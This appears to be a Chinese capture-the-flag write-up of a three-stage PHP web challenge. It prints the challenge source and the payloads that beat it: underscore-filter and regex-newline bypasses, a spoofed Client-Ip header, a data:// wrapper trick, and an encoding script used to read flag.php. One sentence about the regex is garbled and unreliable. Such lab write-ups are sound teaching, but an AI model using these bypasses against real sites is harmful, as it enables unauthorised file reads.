目录
第一层
查看源码
$query = $_SERVER['QUERY_STRING'];
if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
die('Y0u are So cutE!');
}
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
echo "you are going to the next ~";
}
$_SERVER函数的用法
$_SERVER 是一个超全局变量,在 PHP 中用于访问服务器环境中的各种信息。它是一个关联数组,包含了诸如请求头、路径和脚本位置等信息。
以下是 $_SERVER 常用的一些键(key)和它们的含义:
1、$_SERVER['PHP_SELF']:
当前执行脚本的文件名,相对于网站根目录。
2、$_SERVER['SERVER_NAME']:
当前运行脚本所在服务器主机的名字。
3、$_SERVER['HTTP_HOST']:
当前请求的 Host 头部的内容,用于指定服务器的域名。
4、$_SERVER['REQUEST_METHOD']:
当前请求的 HTTP 方法(例如 GET、POST、HEAD、PUT 等)。
5、$_SERVER['QUERY_STRING']:
查询字符串(如果有的话),例如 id=10&page=2 中的 id=10&page=2 部分。
6、$_SERVER['REMOTE_ADDR']:
客户端的 IP 地址。
7、$_SERVER['HTTP_USER_AGENT']:
发出请求的用户代理的字符串(浏览器等客户端信息)。
8、$_SERVER['REQUEST_URI']:
URI 的完整请求路径,包括查询字符串。
9、$_SERVER['SCRIPT_FILENAME']:
当前执行脚本的绝对路径。
10、$_SERVER['SCRIPT_NAME']:
当前执行脚本的路径。
11、$_SERVER['HTTPS']:
如果是通过 HTTPS 连接,则为 'on',否则为空。
12、$_SERVER['SERVER_PORT']:
服务器端口号(默认为 80)。
代码过滤了如"id=10&page=2",也就是传入的变量名和参数中的"_“和”%5f",可以使用’.'或者空格绕过
对于正则表达式"/^23333
/
"
,开头结尾都被
"
"
和
"
/",开头结尾都被"^"和"
/",开头结尾都被""和""固定,不能匹配如"23333a"等内容,可以使用“%0a”(换行符)绕过
payload:?b+u+p+t=23333%0a
第二层
访问:/secrettw.php
查看源代码
将内容复制到控制台执行
需要post传入Merak,随便传一个值,又显示出一段代码
第三层
<?php
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';
if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
}
function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>
ip需要本地访问:
Client-Ip:127.0.0.1
2333文件中的内容需要为:‘todat is a happy day’,可以使用伪协议
?2333=data://text/plain,todat+is+a+happy+day
file的值经过一段脚本处理后,读取文件flie的内容
脚本内容:base64解码——》转化为ascii码+i2——》转换为字符串
我们要做的:将"flag.php"转化为ascii码-i2——》base64加密
脚本
<?php
$a = 'flag.php';
$re = '';
for($i=0;$i<strlen($a);$i++){
$re .= chr( ord ($a[$i]) - $i*2);
}
$re = base64_encode($re);
echo $re;
?>
值:flag=ZmpdYSZmXGI=
将三个值都传入后得到flag